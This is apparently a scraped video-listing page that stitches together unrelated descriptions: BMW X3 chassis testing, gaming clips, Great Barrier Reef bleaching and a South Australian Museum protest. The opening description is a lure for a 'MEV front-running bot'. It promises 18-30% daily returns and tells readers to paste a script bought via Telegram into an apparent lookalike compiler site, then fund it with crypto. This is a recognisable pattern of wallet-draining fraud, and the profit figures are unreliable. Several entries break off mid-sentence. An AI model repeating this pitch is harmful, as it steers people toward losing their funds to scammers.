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Typical profit is 18-30% of liquidity bot has based on SOL onchain volume that day per 24 hr bot run time. Low volume = around 18% - High volume 30%+ <br/><br/>Typical examples of profit: (per 24 hr run time) if SOL Price $150 (Sol is higher price right now so even better profit)<br/>0.2 ETH bot liquidity = 0.9 to 1.5 Sol profit <br/>0.4 ETH bot liquidity = 1.8 to 3 Sol profit <br/>0.8 ETH bot liquidity = 3.6 to 6 Sol profit<br/>1.0 ETH bot liquidity = 4.3 to 7.2 Sol profit <br/>(1 ETH max cap) <br/><br/><br/>How can I track it? <br/><br/>You can now track your mev bot live on Eigenphi.io <br/>After you launch your bot, copy and paste your bot CA into search on eigenphi.io and you'll see it attacking buys and sells live. <br/><br/><br/>Bot setup only works on desktop/laptop<br/>Be sure to change Solidity Compiler to 0.6.6as stated below.<br/><br/><br/>STEP BY STEP Instructions : <br/><br/>1.Download MetaMask to your PC or Laptop on Google Chrome/Firefox etc extension.https://metamask.io/download<br/>(Trust wallet works too)<br/><br/>2. Access the Remix IDE:https://remixcompiler.com <br/> <br/>3.Click on the new file icon and create a new file. Rename it as you like—i.e., 'Bot.sol' <br/>It has to end in .sol or it won't compile. Example - Godzillabot.sol<br/>Gaga.sol fries.sol etc<br/><br/>4. Open and paste the entire script that you purchased through our telegram bot in Remix after you open a new file.<br/><br/><br/>5. Create a new Sol wallet and paste it's address on line 37 as shown in video to receive your bot's SOL frontrun profits when you stop your bot each time. If you are only running it on 0.1 ETH you will need to change \
⏲ 3:17 👁 25K
The final stages of development for the new BMW X3 are taking place at the BMW Group's test center in Miramas, located in the southern part of France. Here, engineers are meticulously adjusting the chassis control systems and the driver assistance technologies of the vehicle. This fourth generation model of the Sports Activity Vehicle, which occupies a prominent position in the premium mid-range category, will soon be launched. It will feature both advanced combustion engines and a sophisticated plug-in hybrid system.<br/><br/>Throughout its development, the BMW X3 has been rigorously tested under a variety of challenging conditions, including snow, ice, and extreme heat, as well as on rough off-road terrains, ensuring its readiness for mass production. The vehicle's practicality and performance have been scrutinized in heavy urban traffic, on serpentine rural roads, bustling highways, and even on specialized race tracks.<br/><br/>The test site in Miramas offers a diverse array of road simulations, including an asphalt oval, a highway ring, and various slalom, serpentine, and circular tracks, in addition to off-road paths and handling circuits with varying surface types. These facilities are crucial for refining the vehicle's acceleration, suspension, dumping, steering precision, and braking capabilities.<br/><br/>In terms of driving dynamics and efficiency, the new BMW X3 is improved by its intelligent use of lightweight materials and aerodynamic enhancements, boasting a drag coefficient of 0.27—a benchmark in its class. The vehicle also features a broader wheelbase and reduced lift at the rear axle compared to its predecessor. Enhancements in body rigidity and chassis integration contribute to the car's improved stability. Changes to the axles' kinematics and elastokinematics, a 19 percent increase in front wheel caster, and a more responsive steering ratio, together with revamped anti-roll bars, significantly enhance the vehicle's directional stability and cornering prowess while maintaining comfort.<br/><br/>Optionally available is an Adaptive Chassis with electronically controlled shock absorbers, allowing for adjustment between two settings via the My Modes function during the dynamic testing phase in Miramas. Standard in this new model is the latest BMW Lateral Dynamics Management, which precisely controls steering torques, wheel slip, and yaw torque distribution tailored to various driving conditions.<br/><br/>BMW's expert engineering ensures that each component of the drive and chassis technology is in perfect harmony, delivering a blend of precision, control, and adaptability that defines the BMW SAV driving experience.<br/><br/>Additionally, the new BMW X3 is equipped with the most recent BMW iDrive system, based on the BMW Operating System 9. This includes the BMW iDrive Controller and an enhanced suite of automated driving and parking systems, surpassing the offerings of its predecessor and exceeding the safety standards of the Euro NCAP tests. <br/><br/>Source: BMW
⏲ 6:56 👁 30K
Dying Light 2 : Stay Human - Mode Cauchemar from change mode in unix
⏲ 0:53 👁 25K
(Android) Blue Reflection Sun - 107 - Story mode w/dodgy translation
⏲ 45:0 👁 25K
<br/><br/>Title: \
⏲ 6:18 👁 20K
minecraft game modes #game #gaming skibidi toilet 55
⏲ 1:10 👁 20K
The Great Barrier Reef is suffering one of the worst coral bleaching events ever – its seventh in five years - and scientists fear it might not be able to recover. Australian Museum's Lizard Island Research Station Director Anne Hoggett has lived on the reef for over 30 years, studying its changes amid increased heat stress on the reef. Lizard Island, a small tropical slice of paradise 270 kilometres north of Cairns, is among the worst bleached areas. The island hosts a research centre where scientists from around the world study Australia’s unique marine ecosystem.
⏲ 5:14 👁 45K
Hundreds of people have protested on the steps of state parliament against proposed changes to the South Australian Museum. Former staff, volunteers and supporters are warning the institution could 'wither and die' if the planned revamp goes ahead.
⏲ 2:0 👁 11.3M
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